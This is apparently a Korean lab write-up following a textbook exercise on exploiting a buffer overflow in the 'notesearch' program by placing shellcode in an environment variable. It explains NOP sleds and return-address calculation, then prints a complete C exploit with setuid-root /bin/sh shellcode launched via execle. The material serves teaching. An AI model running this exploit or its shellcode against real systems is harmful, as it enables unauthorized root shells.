환경 변수를 이용한 공격
두 번째 실습으로 환경 변수를 이용한 공격이다.
리눅스에서 프로그램을 실행하면 환경 변수도 같이 스택에 올라갑니다.
만약 환경 변수에 shellcode를 삽입하고 Return Address 주소를 shellcode의 위치로 변조한다면 셸을 실행시킬 수 있을 것입니다.
먼저 셸 스크립트를 사용하여 exploit_notesearch.c에 있는 shellcode를 추출해서 shellcode.bin에 추출한 후
NOP Sled를 추가해서 환경 변수를 선언합니다.
gdb를 통해 확인해보면 SHELLCODE가 스택에 위치한 것을 확인할 수 있습니다.
이제 버퍼 오버 플로우 공격을 통해 RET를 주소를 NOP 위치로 변조하면 셸을 실행시킬 수 있습니다.
충분히 큰 NOP Sled는 셸을 실행시키기 쉽게 합니다. 하지만 이러한 기법은 프로그램 충돌을 발생시킵니다.
따라서 정확한 메모리 주소 예측이 필요합니다.
먼저 실행 프로그램 이름의 길이에 따라 환경 변수의 위치가 바뀝니다.
이름 길이가 1바이트 늘어나면 환경 변수 주소는 2바이트 감소하게 됩니다.
해당 책에서는 0xbffffffa에서 셸 코드의 길이를 빼고 프로그램 길이를 빼서 리턴 주소를 계산할 수 있다고 나와 있습니다.
gdb로 확인한 결과입니다.
교재에서 제공되는 exploit_notesearch_env.c를 통해 env를 통한 공격을 시도해보도록 하겠습니다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
char *env[2] = {shellcode, 0};
unsigned int i, ret;
char *buffer = (char *) malloc(160);
ret = 0xbffffffa - (sizeof(shellcode)-1) - strlen("./notesearch");
for(i=0; i < 160; i+=4)
*((unsigned int *)(buffer+i)) = ret;
execle("./notesearch", "notesearch", buffer, 0, env);
free(buffer);
}
execle는 환경 변수와 함께 프로그램을 실행하는 명령어입니다.
0xbffffffa에서 쉘 코드 길이와 프로그램 길이를 뺀 값을 RET 변수에 대입하고 160byte를 RET로 채운 데이터를 인자로 넣습니다.
마지막 env는 환경 변수로 shellcode를 넣고 execle 명령어를 실행합니다.
결과는 아래와 같습니다.